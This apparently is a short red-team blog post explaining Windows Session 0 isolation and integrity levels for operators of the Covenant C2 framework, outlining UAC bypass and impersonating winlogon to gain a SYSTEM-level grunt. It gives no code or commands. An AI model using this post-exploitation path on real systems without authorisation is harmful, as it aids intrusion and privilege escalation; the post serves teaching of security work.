Windows Session 0 Isolation & Covenant Integrity
Alright, so this blog post, I’m probably gonna try and keep it short. In today’s post, I shall attempt to brief the concept of Windows Session 0 Isolation mechanism and how understanding it is essential to operate advanced C2 frameworks like Covenant during Red teaming operations.
It all started when I was working on a particular grunt I had obtained on my C2 listener during an engagement. As usual, upon having established a grunt, I began to perform the initial enumeration techniques on my victim system. In doing so, I was enumerating the different processes running on the system, when I noticed that some of the processes were running with a session ID of zero (Session 0), whereas some others with a session ID of a non-zero integer. Thus began my research on what really was going on behind the scenes of these session IDs.
WHAT IS SESSION 0 ISOLATION?
Up till Windows XP, Windows Server 2003, and prior versions of the Windows operating systems, all services are executed in the same session as the first user that logs on to the console. This session is called Session 0. Running services and user applications in Session 0 simultaneously, provides a security concern since services run with higher privileges, making them targets for hostile agents searching for a way to elevate their own privilege level. By isolating services in Session 0 and making Session 0 non-interactive, the Microsoft Windows Vista operating system mitigates this security issue. Only system processes and services are allowed to execute in Session 0. The user logs on to Session 1. As a result, services are never executed in the same session as users’ apps, protecting them against threats originating in the application code. Thus, session 0 within the windows environment is going to be highly sensitive & isolated.
COVENANT INTEGRITY
Note in the image above, that the sessions with the ID zero do not have the owners listed for those sessions. This is because, on top of session IDs, what also comes into play is the session integrity. There are low, medium, high and SYSTEM session integrities. The image shown above runs the grunt with the medium integrity. Hence, it would be safe to assume that the processes that do not list the owner are running with session integrity that are greater than our current session integrity (>medium, here).
In order to obtain a high integrity session, it becomes essential to perform privilege escalation via say, UAC bypass attacks or any of the various techniques. What a higher integrity session brings is that, they usually run with administrative privileges (local admin privs). So, say if we manage to successfully pull off a UAC bypass attack or likes, to elevate our privileges to a higher integrity session, then we would have administrative access on our grunt & our grunt would provide additional details on the owners of more sensitive processes (as shown below).
Moving ahead, what we want to be able to do after having found a session 0 process that is run by (say) NT AUTHORITY\SYSTEM is, try to get out of session 0 and log into session 1 (non-zero session). One of the process that is extremely common to be running on the session 1 is the “winlogon” and it becomes essential to check if there is any potential way to migrate or impersonate such a process. If we are successfully able to migrate or impersonate such a process, it could potentially lead to spawning a grunt with NT AUTHORITY\SYSTEM privileges.
That’s about it for this blog. So, remember that if your tool/command does not work in an established grunt, there is always a possibility of the grunt having inadequate session integrity.
I hope you learnt something new from this blog and until next time, HAPPY HACKING!!!
References:
